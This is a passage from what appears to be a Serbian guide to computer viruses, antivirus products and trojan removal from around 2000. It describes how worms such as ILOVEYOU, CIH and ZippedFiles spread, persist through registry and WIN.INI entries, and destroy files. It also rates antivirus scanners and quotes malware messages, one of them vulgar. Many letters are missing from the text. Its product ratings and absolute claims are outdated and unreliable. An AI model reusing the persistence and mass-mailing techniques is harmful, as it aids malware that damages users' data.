su veoma slicne Melisi i njenom kodu. Crv "BadAss" (Internet Worm) se prenosi preko e-mail-a sa inficiranim attachmentom. Originalni attachment se zove "BADASS", ali je moguce preimenovati fajl i on ce se siriti pod novim
imenom. Kada se primi mail sa inficiranim attachmentom i attachment se izvrsi (duplim klikom misa na ikonicu), virus
preuzima kontrolu i startuje svoju glavnu rutinu. Ova rutina pokazuje na ekranu par poruka a zatim startuje infekcionu
rutinu koja otvara MS Outlook bazu, preuzima e-mail adrese iz AddresBook i salje zarazene poruke na sve pronadjene
adrese. U SUBJECT polje upisuje tekst "Moguh.." a u polje poruke "Dit is wel grapping! :-)"
Ovaj virus ne salje dvaput poruke sa istog kompjutera, da bi ovo izbegao virus kreira registry key i proverava ga na
svakom startu: HKCUSoftWareVB i VBA Program SeettingsWindowsCurrentVersion"CMCTL32"="00 00 00 01"
Prva poruka koju virus prikazuje ( Message box) izgleda ovako:
KERNEL32
An error has occured probably because your cunt smells
bad. Is this really so?
[Yes] [No]
Kad god pokusate da kliknete misem na [No], virus ce vratriti kursor na
DRAGAN MARKOVIC
[Yes].
Kad pritisnete [Yes] prikazuje poruku:
WIN32
Contact your local supermarket for toiletpaper and soap to solve this problem.
[OK]
AVP patch i nova verzija F-Secure AV resava ovaj virus i cisti ga uspesno.
Win95.CIH.SPACEFILTER/VIRUS
Virus Win95.CIH.SPACEFILTER (skraceno CIH) je napisao student jednog tajvanskog koledza, gde je prvi put i
primecen pocetkom juna 1998. godine, a od tada se prosirio neverovatnom brzinom (cak nekoliko meseci je bio na
Datafellows-ovoj listi deset najrasprostranjenijih virusa).Poznat je jos i pod imenom Cernobilj.CIH-om se ne mozete
zaraziti ako radite pod Dos-om, Windows-om 3.1x ili NT-om, jer je pisan samo za korisnike Windows-a 95-98.Postoje
3 verzije *ubice BIOS-a*:1.2 (aktivira se 26. aprila), 1.3 (26. juna) i 1.4.Ova poslednja je kod nas jedino i primecena i
za nju se slobodno moze reci da je najopakija, jer se startuje svakog 26.-og u mesecu.
CIH napada Windows-ove EXE fajlove.Virus je pisan u asembleru i koristi napredne tehnike zbunivanja Antivirus
programa.One mu omogucavaju da zarazenim fajlovima ne promeni duzinu, ostane nevidljiv i za korisnika i za antivirus program kada je rezidentan, pa cak i da se prebaci iz treceg u nulti prsten procesora i tako dobije najvisi prioritet
preuzimajuci sve sistemske pozive.Koliko je virus opasan govori i cinjenica da i neki veliki igracki sajtovi (kao sto je
npr. http://www.mplayer.com) nisu uspeli da se zastite pa se i veliki broj ljudi koji su preuzimali upgrade-ove za svoje
igrice i programe zarazio.
Zasto je virus tako opasan?Na dan kada se aktivira virus ce obrisati sve fajlove na vasem hard disku i unistice flash
BIOS (ima ga vecina Pentium i Pentium II ploca, kao i veliki broj 486 racunara), sto ce vasu *motherboard* uciniti
neupotrebljivom.Za pocetak bi najbolje bilo da proverite da li na vasoj ploci postoji dzamper kojim se zabranjuje
upisivanje u EEPROM.Ukoliko ne, najbolje bi bilo da procitate svu literaturu koju ste dobili prilikom kupovine ili da
kontaktirate prodavca za vise informacija.
Ako ste zarazeni CIH-om veoma je opasno startovati AV program, posto je virus rezidentan pa postoji opasnost da se
prosiri na jos vise EXE fajlova.Zbog toga su cuveni proizvodjaci antivirusa (kao sto su Symantec, Datafellows i dr.)
odmah izbacili programe koji pronalaze i uklanjaju virus sa vaseg racunara.Po meni najbolji je DOS program Kill_CIH
kompanije Symantec (Norton Antivirus).On veoma brzo pretrazi memoriju i, ukoliko pronadje virus, automatski ga
ocisti.Napomena programcic nece ukloniti CIH iz EXE fajlova vec ce vam, dezinfekcijom memorije, omoguciti da
startujete antivirus i potpuno ocistite kompjuter bez straha od daljeg sirenja zaraze.Fajl kill_cih.exe je veoma mali (oko
25 KB) i mozete ga pronaci na http://www.symantec.com/avcenter/kill_cih.html. Pre startovanja Kill_CIH-a bilo bi
pozeljno da procitate i datoteku kill_cih.txt (link ka njoj je takodje na gornjoj adresi).Za vise informacija o spasavanju
podataka sa diskova ostecenih CIH-om posetite sajt "CIH virus recovery" na http://grc.com/cih.htm, sa koga mozete
preuzeti i besplatan program Fix-CIH Stiva Gibsona za povracaj podataka.
Program "CleanCIH" mozete skinuti i sa naseg sajta www.zastita.co.yu.
I-LOVE-YOU/VIRUS
4. maja 2000. su sve Antivirsne korporacije objavile da se pojavio novi
virus koji se siri putem emaila.
Rec je o virusu *I-LOVE-YOU* koji koristi trik da bi ga petencijalna
zrtva pokrenula. Naime, virus se distribuira uz email kao
LOVE-LETTER-FOR-YOU.TXT.vbs i potencijalna zrtva
(zbog duzine imena fajla) vidi da fajl ima ekstenziju .txt
i pomisli da je obican text.
DRAGAN MARKOVIC
Tehnicki detalji:
I-Worm.LoveLetter je Visual Basic skript crv koji se siri putem Interneta preko email poruka
otvorenih iz Microsoft Outlook Expressa.
Crv se samo preko Outlooka razmnozava, sto znaci da ste bezbedni ako ne koristite Outlook
Medjutim, ovog crva mozete dobiti i dok chatujete na nekom IRC kanalu, jer virus ume da barata i sa IRC klijentima.
Kada zrtva pokrene crva, crv se prvo kopira u C:WINDOWSSYSTEM kao:
- MSKernel32.vbs i
- LOVE-LETTER-FOR-YOU.TXT.vbs
a zatim i u C:WINDOWS kao:
- Win32DLL.vbs
i dodaje se u Registry bazu u sledecim kljucevima (da bi se pri sledecim startovanjem Windowsa i on startovao) :
- HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32
- HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL
Crv menja home page Internet Explorera (pocetnu stranu) i u nju ubacuje link ka virusu.
Posle uspesne instalacije, crv salje samog sebe na sve emailove koje pronadje u Outlookovom address book-u.
Email koji salje izgleda ovako:
Subject: ILOVEYOU
Telo poruke: kindly check the attached LOVELETTER coming from me.
Attachment: LOVE-LETTER-FOR-YOU.TXT.vbs
U slobodno vreme crv pretrazuje disk i trazi fajlove sa ekstenzijom : .jpeg, .mp3, .mp2,.jpg .js, .jse, .css, .wsh, .sct, i
.hta.
Kada nadje fajl sa nekim od pomenutih ekstenzija, brise sve podatke u fajlu, ubacuje svoj program i dodaje fajlu
ekstenziju .vbs.
Tako na primer fajl *slika.jpg* biva izmenjena u *slika.jpg.vbs* i pri pokretanju tog fajla se ne otvara slika vec se
startuje virus.
Kako se zastititi?
Ukoliko primite email sa fajlom LOVE-LETTER-FOR-YOU.TXT.vbs nemojte ga otvarati vec samo obrisite email.
Ako ste se vec zarazili, svaki sveze updatovani Antivirus ce vam pomoci da se oterasite ovog crva!
SEPTIC/VIRUS
Ovaj virus se prenosi preko mIRC kanala pomocu mIRC skript programa i inficita mnoge vrste fajlova. Virus se razmnozava kada browser ucita zarazeni HTML. Svakog prvog i drugog u mesecu se aktivira, ispisuje poruku i pusta neki
video snimak sa vaseg racunara. Koristi VGA funkcije i pomocu njih uspeva da menja boje na vasem monitoru
(pretvori sliku u crno-belu boju i menja ih - crno-belo pa belo-crnu). Prvog dana u mesecu ispisuje : Only in your
dreams you can be truly free! ~DarK.MeSsiAh~ written by SeptiC [TI] Drugog dana u mesecu ispisuje : Pure evil
comes from within! ~DarK.MeSsiAh~ Written by SeptiC [TI] Jedan deo virusa ume da inficira COM, EXE i DOS
fajlove tako da virus postaje veoma opasan po vas racunar. Takodje, virus ume da nadje vecinu Antivirusa (F-PROT,
TBAV, SCAN, AVP) i da ih obrise sa vaseg diska. Ponovna instalacija ovih Antivirusa nece uspeti jer ce ih virus
DRAGAN MARKOVIC
ponovo obrisati. Upisuje svoj kod i u BAT fajlovima. Kreira fajl PORNO.COM(u direktorijumu
C:WINDOWSCOMMAND) i pusta ga svaki put kada se startuje neki BAT fajl. Na svakom zarazenom HTML fajlu
dodaje i link ka novom virusu. Text je : Download The Latest Patch! Click Here! Virus trazi mIRC na vasem disku i
ukoliko ga nadje kerira novi SCRIPT.INI a stari brise. Sledeci put kada budete slali nekome fajl pomocu mIRCa, virus
ce automatski poslati i fajl PORNO.COM. Dok chatujete, virus ce se ubaciti u vasu chat sobu pod imenom
"SeptiC_dm" i poslace svima poruku: I am your servant! I have been turned into a zealot of darkness_ . Virus ce takodje
ponuditi svima fajl PORNO.COM. Ispisuje i : ~DarK.MeSsiAh~ a Digital Touch of DarKness! Written by SeptiC
[TI]_ I Obey my master! long live satan_ Your word is my command, Power to satan!_ Virus moze da vam postepeno
brise fajlove sa diska a moze i da vam formatira disk. Ako imate ovaj virus, ciscenje ovog virusa nija bas lak posao jer
virus inficira skoro sve bitne fajlove i ne dozvoljeva AntiVirusima da ostanu na vasem racunaru. Zato, bolje spreciti
nego leciti.
Otkrivanje i ciscenje - Kaspersky Lab AVP
I-Worm.ZippedFiles/VIRUS
Virus *I-Worm.ZippedFiles* se razmnozava se preko emaila za koji je prikacen *Zipped_Files.Exe* koji je pisan u
Delphiju i zauzima 210Kb (10Kb cistog koda a ostalo je Delphi kod). Virus automatski sam odgovara na poruke koje
vam pristignu u Inbox i ima destruktivne rutine (unistava fajlove).
Da bi se virus instalirao, on kopira sebe u C:WINDOWS direktorijum pod imenom _SETUP.EXE i u
C:WINDOWSSYSTEM pod imenom EXPLORE.EXE. Virus zatim ubaci liniju u WIN.INI fajlu koja naredjuje Windowsu da se _SETUP.EXE i EXPLORE.EXE automatski ucitaju kada se Windows podigne. Te linije izgledaju ovako:
run=_setup.exe
run=C:WINDOWSSYSTEMExplore.exe
Virus na taj nacin ostaje u memoriji sve dok ne izadjete iz Windowsa. Nevidljiv je u TaskBaru ali se zato vidi na Task
listi (Ctrl+Alt+Del) sa jednim od sledecih imena : Zipped_Files, Explore (bez R, Explorer je OK) ili _setup.
Virus ne proverava da li je vec instaliran sto moze prouzrokovati da se u Windows direktorijumu nalaze vise zarazenih
fajlova.
Posle instalacije, virus prelazi na glavni deo : slanje virusa putem emaila, sto mu uspeva jer koristi MAPI funkciju za
manipulaciju mailova.
Virus pretrazuje vas Inbox i odgovora na pisma koja nisu procitana (unread) na sledeci nacin :
Subject ima prefix *Re* (kao kada odgovarate nekom) a u telo poruke upise :
Hi [UserName]
I received your email and I shall send you a reply ASAP.
Till then, take a look at the attached zipped docs.
bye.
sincerely [Vase ime]
Uz pismo posalje i zarazeni fajl *Zipped_Files.Exe*
Virus ne odgovara dva puta na jednu istu poruku i ne odgovara na pisma koja su odgovori na to njegovo pismo. Kada
pristigne novo pismo, to pismo je neprocitano(unread), znaci : virus ce odgovoriti na sva nova pisma koja pristignu u
vas Inbox.
Moguce je da ce nova verzija ovog virusa odgovarati na sva pisma (a ne samo na neprocitana).
Pored mogucnosti da se razmnozava putem Interneta, virus ima i destruktivne rutine : virus trazi datoteke tipa : .C, .H,
.CPP, .ASM, .DOC, .XLS, .PPT da bi ih ispaznio. Dakle, virus ne brise ceo fajl nego samo sadrzaj fajla tako da one
budu prazne (0 bajta). Otkrivanje i ciscenje - Kaspersky Lab AVP!
DRAGAN MARKOVIC
Remote Explorer/VIRUS
Remote Explorer je rezidentan virus koji se razmnozava inficirajuci EXE fajlove. Radi samo pod Windowsom NT. Ako
dospe na server NT mreze, inficira i ostale racunare koji imaju Windows NT. Svoju kopiju salje drugim racunarima i
izvrsava je na udaljenom racunaru. Virus ne radi pod Win95/98. Kada se aktivira sifruje fajlove na disku i tako ih cini
neupotrebljivim.
WinScript.Rabbit/VIRUS
Win Script.Rabbit je prvi virus koji inficira Windows-ove script datoteke. Razmnozava se putem Interneta jer Web
citaci izvrsavaju inficirane script datoteke na lokalnom disku. Virus inficira sve datoteke u kesu Web citaca, a zatim ih
kopira da radnu povrsinu. Radna povrsina moze biti prepuna ikonica, sto je ujedno i najbolji pokazatelj da imate virus.
Virus radi pod Win95/98 i pod Windows-om NT pod uslovom da imate instaliran Microsoft Scrpting Host. Win98 i 95
to imaju kao standardnu opremu. Zastita od ovog virusa je vec ugradjena u vase WEB citace. Ako imate IE 4.0, iskljucite opciju View/Folder Options/File Type/VBScript File/Edit/Confirm open after download! Netscape Navigator
otvara script fajlove kao obican tekst, tako da ne postoji opasnost od inficiranja.
ANTIVIRUSI
Antivirusi su programi koji, kao to nam njihov naziv sam kae, imaju zadatak da spree infekciju i oiste zaraene
fajlove.
Kako to oni rade?
Spreavaju zarazu tako to skeniraju fajlove koje pokrenete u potrazi za kodom(programom unutar programa) i ako
nau kd koji odaje prisustvo virusa oni zabrane pokretanje zaraenog programa. Fajlove koji su ve zaraeni iste
tako to jednostavno unutar zaraenog fajla briu kd za koji su sigurni da je virus.
Ovde dolazimo do pitanja kako su Antivirusi sigurni da su pronali virus, da li su 100% sigurni (tj. da li je mogue da
im neki virusi promaknu) i da li je mogue napraviti univerzalni Antivirus. Ova pitanja verovatno i postavljate sada
sebi pa emo zato ovom prilikom odgovoriti na njih.
Antivirusi imaju bazu kdova virusa koje su proizvoai Antivirusa uspeli da nabave. Antivirusi jednostavno trae
kdove koje imaju u svojoj bazi, tako da ako ste zaraeni nekim novim virusom, Antivirusi nee otkriti nita ili e ga
otkriti kao "mogui virus" koji naravno nee uspeti da oiste.
Zakljuak je da ni jedan Antivirus nije savren i da vam u nekih 20% sluajeva Antivirusi nee pomoi. Treba li se
pomiriti sa ovom injenicom?
Na sajtu www.zastita.co.yu moete nai pregrt uputstva i programa pomou kojih 100% moete biti sigurni da li imate
viruse i trojance na svom kompjuteru. ak postoji i program (FileProtector) pomou koga moete zabraniti da se
izabrani fajlovi menjaju (recimo vani EXE fajlovi) ali na alost, taj program nije savren jer usporava perfomanse
diska i ne moe se definisati da se svim EXE fajlovima zabrani menjanje. Sada vam je verovatno jasnije zato krivimo
i Microsoft i Antivirusne kompanije. Zar nije Microsoft mogao da u svoje operativne sisteme ugradi opciju koja bi pri
svakom pokuaju menjanja EXE fajlova traila dozvolu od korisnika? Slaemo se da bi hakeri pronali naina da
iskljue ili zaobiu tu opciju, ali na kraju krajeva setimo se da je operativni sistem taj koji kontrolie tastaturu i mogao
bi zahtevati da se ta opcija iskljui samo ako korisnik pritisne odreene tastere na tastaturi. Uglavnom, sve se zasniva
na pitanju da li e hakeri i to uspeti da zaobiu pa se verovatno zbog toga ne piu takvi operativni sistemi i Antivirusi.
Kao to i sami vidite, primorani smo da jo uvek radimo sa nesavrenim Antivirusima. Stoga smo izvrili jedan veliki
test. Na jednom disku smo stavili 100 najeih virusa i skenirali disk sa 8 najboljih Antivirusa. Evo naih rezultata:
Antivirus Pronaao je Opis AntiVirusa Ocena (1-100) /
Kaspersky AVP 91 od 100 virusa
www.kaspersky.com
Ovaj Antivirus nam stie iz Rusije. Ruska tehnologija se pokazala ovde kao nenadmana. Lanih uzbuna nije bilo.
DRAGAN MARKOVIC
Rezidentan deo ovog programa stalno skenira tekui direktorijum, skenira sadraj arhive, pakosne aplete Jave i
ActiveX, va email kao i programe preuzete sa mree (ukljuujui i diskusione grupe). Uklonio je sve viruse koje je
otkrio bez oteenja fajla. Nije otkrio dva makro virusa (jedan se zove Not_Virus), nije otkrio 3 najnovija Backdoor
trojanaca i nije otkrio 4 stara virusa to mu je veliki minus. On je vie specijalizovan za otkrivanje Backdoor trojanaca
(otkrio je ih je najvie od svih ostalih Antivirusa) tako da ako vas mue BackDoor trojanci ovaj Antivirus je za Vas.
Morae jo samo da rei i probleme oko updatovanja (traje malo due nego kod Nortona jer skida cele baze). Ima
predstavnitva i laboratorije po svim krajevima sveta. Prognoza: trenutno deli prvo mesto sa Nortonovim AntiVirusom,
a nadamo se da e tako i ostati. Ima bazu od oko 34 000 virusa tako da BackOrifice 2000, NetBus 2.0, FlashKiller i
ostale najnovije viruse otkriva i isti bez problema!
Norton AntiVirus 75 od 100 virusa
www.symantec.com
Pronaao je veinu virusa i otkrio najvie zoo-virusa, cak 98%! Mane: podigao jednu lanu uzbunu i jednom je ukoio
ceo sistem (izlaz je bio samo Reset). Otkriva pakosne aplete Jave i ActiveX. Kada otkrije sumnjive viruse, smeta ih u
vae sandue za email a potom alje Symantecovom virusnom centru na detaljno istraivanje. Na taj nain, Norton
Antivirus je obezbedio sebi dugu i uspenu karijeru jer mu novi virusi sami pristiu. Kada ga updatujete, on skida samo
nove dopune, a ne cele baze ime je znatno ubrzano vreme updatovanja. Ali, u zadnje vreme je vidno podbacio!
Uglavnom su problem BackDoor trojanci - slabiji je od AVPa na tom polju! Treba rei i to da rezidentni deo ovog AntiVirusa vidno usporava kompjuter (posebno podizanje sistema) a i instalacija je oko 20Mb. Ima bazu od 42 515 virusa
sto ga ini neprobojnim za stare viruse a pogotovu za Boot viruse jer je na tom polju nenadmaan. Sve u svemu NAV
jo uvek zasluuje da bude na listi najboljih Antivirusa.
F-PROT (za DOS) 89 od 100 virusa
www.datafellows.com/gallery
F-PROT je naravno van konkurencije jer je preteno DOS program ali je zato besplatan i jo uvek ima dobar njuh za
viruse (pronaao je jedan virus koji je AVP-u promakao (word 97 makro po imenu Not_a_virus)). Sastoji se iz 3 dela:
F-Prot Antivirus (za DOS, moe biti koristan za skeniranje pojedinacnih datoteka), F-Macro (Makro Antivirus) i
F-Stop (Antivirus monitor za Win95-98). Sadrzi bazu od najmanje 39000 virusa (barem tako kau autori) tako da stari
virusi ne mogu da mu promaknu.
Command AntiVirus (F-PROT Professional) 87 od 100 virusa
www.commandcom.com
Ovaj AntiVirus je naslednik F-Prot Professionala. Auriranje je veoma zakomplikovano. Otkrio je skoro sve divlje
viruse. Mana je to nije uspeo da oisti neke viruse i to nije uspeo da oporavi zaraenu datoteku. Komplikovano je i
updatovanje (treba da dobijete prvo korisniko ime i lozinku), komplikovano instaliranje i konfigurisaje.
McAfee VirusScan 87 od 100 virusa
www.mcafee.com
Najdue skeniranje, 3 puta duze od ostalih. Radni prostor je lepo uradjen. Ugraen je i arobnjak koji vas vodi kroz
podeavanje opcija i parametra. Skenira pakosne aplete Java i ActiveX, va email kao i programe preuzete sa mree
(ukljuujui i diskusione grupe). Ako elite, mozete da dobijate emailom najnovije informacije o virusima zajedno sa
dopunama za vau bazu virusa. Otkriva oko 45.000 virusa to znaci da ni novi a ni stari virusi nisu ne vidljivi za njega.
Meutim, u tih 45.000 virusa je uraunat i veliki broj crackova i raznih lamerskih programa to znai da je broj pravih
virusa koje McAfee otkriva daleko manji.
Panda Antivirus 71 od 100 virusa
www.pandasoftware.com
Podigao je puno lanih uzbuna, a prave viruse nije otkrio. Otkrio je 78% zoo-virusa, 82% divljih makrovirusa i 65%
labaratorijskih makro-virusa. Digao je ak 37 lanih uzbuna. Radi brzo, i zato mu sve promakne. Autori ovog Antivirusa kau da ce uskoro objaviti ispravke koje e mu podii opreznost za 30%. Tvrde da lanih uzbuna nee biti, a da
DRAGAN MARKOVIC
e otkrivanje pravih virusa biti daleko bolje. Ima jo jednu mogunost, skenira POP i HTTP protokole to vam prua
dodatnu zatitu (prijavi odmah ako sa Interneta skidate neki program koji nosi viruse).
PC-cillin 90 od 100 virusa
www.antivirus.com
Dugo je bio u senci ali je vremenom porasao i nadmaio ak i Nortona! Skoro sve to je trebalo da pronae je naao,
nije otkrio samo najnovije viruse to je i normalno jer ni jedan Antivirus nije savren. Otkrio je ba sve stare viruse i
na tom polju je nenadmaan.
Sophos Antivirus 91 od 100 virusa
www.sophos.com
Sophos Antivirus je na svim poljima dobar! Otkriva i stare i nove viruse, ima odlian njuh za BackDoor trojance i za
razliku od ostalih Antivirusa uspeo je sve zaraene datoteke da oporavi. Koristi veoma dobru tehniku za otkrivanje
novih virusa to ponekad moe dovesti do lane uzbune, ali uvek je bolje otkrivati neto nego nita!
Ostali AntiVirusi su ispod crte, tj. otkrili su mnogo manje virusa.
Oni su uglavnom pravljeni za DOS i veoma su ogranieni. Ukoliko koristite neke DOS antiviruse(SCAN, MSAV a
posebno TBAV jer je zadnji na tabeli zato to je otkrio samo 17 a oistio 3 virusa)), mi vam preporuujemo da preete
na neke od ponudjenih AntiVirusa.
Sada je ostalo da vidimo kako se koriste Antivirusi. Neemo dati uputstvo za sva osam antivirusa ve emo se zadrati
samo na antiviruse AVP i Norton Antivirus. Korienje ostalih antivirusnih programa je veoma slino kao kod pomunta
dva antivirusa pa zato i ne vredi pisati za svaki pojedinano.
Rekli smo da antivirusi pronalaze viruse tako to u odabranim fajlovima trae kd koji odaje prisustvo virusa a iste ih
tako to jednostavno briu kd za koji su sigurni da je virus.
Problemi koji mogu da se jave pri takvom nainu traenja i ienja virusa su neprepoznavanje virusa i nemogunost
uklanjanja nekih virusa.
Problem neprepoznavanja virusa se javlja zato to antivirusi prepoznaju samo one viruse koje imaju u svojoj bazi, tako
da ako je zaraeni kompjuter inficiran nekim novim virusom antivirusi ga nee otkriti.
Problem nemogunosti ienja virusa je povezan sa problemom otkrivanja virusa. Naime, antivirusi su u mogunosti
da otkrivaju neke nove viruse koji su slini sa nekim virusom koga antivirusi imaju u svojoj bazi. Obino imaju neki
klasian kd tako da ga Antivirusi otkrivaju kao "novi virus" ili "mogui virus". Zbog toga nisu u mogunosti da ga
oiste jer zapravo ne razlikuju ostatak kda od pravog programa u koga se ugnjezdio virus.
Upravo je tu klju "dobrog antiviusa" jer se neki antivirusi(kao Norton AV) ne oslanjaju mnogo na tehniku prepoznavanja novih virusa ve samo detektuju viruse koji su im poznati, dok drugi antivirusi (kao AVP) koriste tu tehniku ali
u umerenim koliinama.
Verovatno se sada pitate zato Norton AV ne koristi tu tehniku i da li je ta tehnika dobra.
Tehnika otkrivanja novih virusa moe da dovede do lanih uzbuna (mada se to kod AVPa nikad nije desilo) i to je verovatno razlog zato Norton AV izbegava ovu tehniku. Sa druge strane, ova tehnika moe puno puta "spasiti glavu".
Naime, AVP koji koristi ovu tehniku je otkrio mnogo novih virusa to mu daje ogroman plus, dok Norton AV nije otkrio
bukvalno nita od novih virusa.
Naa procena govori da je bolje koristiti tehniku otkrivanja novih virusa jer se kod AVPa pokazala odlino i nije dala
lane uzbune. Sada vidite koje su razlike izmeu ova dva antivirusa. Poto se AVP pokazao kao najbolji antivirus,
kreemo prvo od njega.
Kaspersky AVP
Instaliranje protie kao i kod obinih programa, tj. samo se pokrene SETUP.EXE, izabere se instalacioni direktorijum
i bez ikakvih specijalnih i suvinih pitanja se instalira.
Nismo koristili najnoviju verziju AVPa tako da ne znamo da li e vas ponuditi da napravite startup disketu. U svakom
sluaju, startup disketu moete i sami da napravite: samo formatirajte disketu i celokupan sadraj direktorijuma
C:WINDOWSCOMMANDEBD iskopirajte na floppy.
Kada se AVP instalira podesie da se AVP Monitor (koji ima ulogu u spreavanju infekcije) uita se svaki put kada se
startuje Windows. Naravno, vrlo lako moete iskljuiti AVP Monitor iz Windowsovog StartUpa to vam mi
DRAGAN MARKOVIC
preporuujemo da uradite samo ako imate spor kompjuter i ako ste sigurni da neete startovati sumnjive programe koje
ste dobili putem Interneta pre njihovog skeniranja antivirusom. Ukoliko ostavite AVP Monitor on e automatski skenirati svaki direktorijum koji otvotite i svaki program pre nego to ga startujete. Dakle, poetnicima preporuujemo da
ga ostave.
Pored AVP Monitora, postoji i AVP Scanera koji predstavlja glavni program ovog Antivirusa. U njemu ete moi da
skenirate i istite odabrane diskove, direktorijume ili fajlove. Kada startujete AVP Scaner, u jeziku "Drive selection"
koje vam se automatski otvori, imate mogunost da izberete ta ete skenirati. Dakle, moete izabrati diskove, disketu
ili direktorijum. U jeziku "Detection" moete izabrati koje tipove fajlova elite da skenirate a u jeziku "Response"
moete podesiti kako e AVP reagovati ako nae virus i tu treba izabrati "Prompt user for action". Pod jezikom "Options" moete podesiti sitne opcije i to bi uglavnom bilo sve to se tie podeavanja. Sada treba kliknuti na "Search
Now" i potraga za virusima e poeti!
Ukoliko AVP pronae viruse postupie sa njima onako kako ste definisali u jeziku "Response". Ako ste izabrali
"Prompt user for action" AVP e vas pitati ta da radi sa virusom. Pokuajte da ga dizinfikujete a ako to ne uspe, pri
sledeem skeniranju izaberite brisanje. Zaraene programe koji su u toku skeniranja aktivni nee uspeti da dizinfikuje
ve e na kraju skeniranja resetovati kompjuter i iz DOSa e ih oistiti. Kompjuter bi trebalo skenirati sve dok ne dobijete poruku da je sve u redu.
To je sve to je bitno za rad sa AVPom.
Norton Antivirus
Kod Norton Antivirusa proces ienja virusa je isti kao kod AVPa a i ostalih Antivirusa. Jedina razlika je to se sve
opcije podeavaju klikom na crno dugmence "Options". Opisaemo, dakle, samo ono po emu se Norton Antivirus
razlikuje od ostalih.
Kao prvo, Norton ima mogunost da sprei bilo kakvo menjanje boota (startni deo diska) to mu daje veliki plus jer je
reio problem boot virusa! Sada slobodno, bez bojaznosti od boot virusa, moete pristupiti sumnjivim disketama.
Druga bitna razlika je Norton Antivirus Quarantine. O emu se radi?
Ako Norton Antivirus pronae neki sumnjivi fajl, ili ako je vama neto sumnjivo, odabrane fajlove moete smestiti u
Quarantine a potom poslati Nortonovom Antivirusnom Centru na detaljnu analizu. Ukoliko fajl koji ste poslali stvarno
sadri virus, ljudi koji rade u NAV Centru e vam putem emaila poslati "update" koji e vaem NAV-u pomoi da oisti
virus.
TROJANCI
Internet je oduvek bio pogodan poligon za isprobavanje raznih pakosnih programa. Gomila podataka "na dohvat ruke"
je pravi izazov svakom mladom lameru. Skoro da nema programera koji nije proao kroz takozvanu lamersku fazu. U
poslednje vreme se meutim javlja mnogo lamerskih alata koji omoguavaju svakom obinom korisniku da skine,
upotrebi program po uputstvu i stekne neovlaeni pristup.
Koliko god bilo jednostavno primeniti neki lamerski alat jo je jednostavnije zatititi se od takvih napasnika. Zato smo
odluili da pokrenemo rubriku koja e vas zatititi od virusa, trojanaca, lamera, mail i ICQ bombi, opasnih
Java/ActiveX apleta i drugih stvari koje bi mogle naneti tetu vaem kompjuteru i podacima koji su u njemu.
-------Trojanci su svoje ime dobili prema uvenom epu o opsadi Troje, koju su Grci bezuspeno napadali 10 godina i na kraju
se povukli ostavljajui pred njenim ulazom ogromnog konja kao znak priznavanja poraza. Trojanski ratnici su
oduevljeni pobedom, uvukli su konja unutar grada i posvetili su se proslavljanju svoje velike pobede. Meutim, kada
su svi zaspali pijani, na konju su se otvorila dobro skrivana vratanca i iz njega je izaao odred grkih ratnika koji je
otvorio vrata tvrave pustajui unutra ostale Grke, koji su povlaenje iscenirali i ekali na taj trenutak. Nakon toga
Troju su veoma lako zauzeli.
Na isti nain dananji lameri ulaze u tue kompjutere, uzimaju potrebne fajlove i uzimaju tue Internet ifre. Jednom
reju - operiu po vaem kompjuteru kao da sede za njim uz pomo jednog naizgled obinog programa koji se naziva
"Trojanac".
Na samom poetku elim da vam skrenem panju da pravite razliku izmeu trojanaca i virusa i hakera i lamera. Naime,
potpuno je pogreno trojance zvati virusima, zato to su oni kompletne aplikacije i ne ire se kao virusi, nego se instaliraju na samo jednom mestu i odatle obavljaju svoj zadatak. Takodje, trojanci se mogu ukloniti brisanjem njihovog fajla
DRAGAN MARKOVIC
iz odredjenog direktorijuma, za razliku od virusa koji su obino zakaeni za druge datoteke i nalaze se u skoro svakom
EXE fajlu. Vecina njih nije sama po sebi destruktivna, ali zato omoguava bilo kome sa Interneta da upravlja vaim
kompjuterom ili mu alje vae lozinke.
Kod trojanaca treba napraviti razliku izmedju klijenta i servera. Server je sam trojanac i on se nalazi kod rtve, dok je
klijent program pomou koga se upravlja serverom i nalazi se kod lamera.
to se tie razlike izmeu hakera i lamera, ona se ogleda je u tome to su lameri "loi" a hakeri "dobri" ljudi zato to
haker nee nikoga napasti, posebno ne obinog Internet korisnika, dok lameri napadaju obine korisnike Interneta da
bi saznali njihove Internet ifre kako bi mogli da koriste njihovo vreme na Internetu.
Znai, sve smo definisali i objasniji, sada prelazimo na glavni deo, a to je "kako se zatititi od Backdoor trojanaca".
Prvo to e vama pasti na pamet je da treba koristiti najbolji Antivirus i time ste reili problem. Na alost, Antivirusi
su nedovoljni da bi vas zatitili od Backdoor trojanaca zato to Antivirusi otkrivaju samo one trojance ije potpise
imaju u svojoj bazi, to znai da Antivirusi nee otkriti nove trojance i one trojance koje autor uva samo za svoje
potrebe.
Dakle, stvar je ozbiljna. Postoje vie reenja za zatitu, od kojih je tree reenje najbolje.
Prvo reenje:
Svaki BackDoor trojanac se prijavi u StartUp Windowsa.
Da bi videli koji su programi setovani u StartUpu, pritisnite Start, kliknite na Run, ukucajte MSCONFIG i pritisnite
OK.
(ako
se
pojavi
poruka
da
taj
program
ne
postoji,
skinite
ga
sa
lokacije
http://www.mycity.co.yu/fajlovi/msconfig.zip - 24kB, zato to je tri puta bolje da koristite ovaj program nego da sami
eksperimentisete po Registry bazi! Ako ne zelite da skinete ovaj program onda umesto MSCONFIG otkucajte
REGEDIT i doite do stabla HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun).
Kada se MSCONFIG startuje pritisnite jezicak StartUp.
Pred vama je spisak programa koji su podeeni da se pokrenu uvek kada se Windows podigne. Ne bi bilo loe da imena
programa zapiete negde da bi posle napravili razliku.
Ako primetite neko sumnjivo ime kao to je EXPLORER.EXE, PICTURE.EXE, ime programa u kojeg sumnjate
(Trojanca Kuang2.c su slali kao Setup.exe koji se nalazio u fajlu fprot.zip, dakle proverite da li se nalazi fajl Setup.exe
u tom spisku) ili neko drugo ime za koje ste sigurni da nije usluni program, iskljucite ga (tj. izbriite ga ako koristite
REGEDIT). Ako ste ba sigurni da taj program nije usluni, izaite u DOS (Start/ShutDown) i promenite mu ime sa
komandom RENAME u recimo SUMNJIVO.ZZZ. Sva sumnjiva imena programa vam preporuujemo da iskljucite,
ostavite samo ono to ste sigurni da vam treba. Ukoliko Windows zahteva neke programe, vratite se u MSCONFIG i
ukljucite ih. SysTray, LoadPowerProfile, ScanRegistry i TaskMonitor ne dirajte!
Najbolje je da pre startovanja sumnjivih programa zapiete negde sva imena fajlova u StartUpu, pokrenete program a
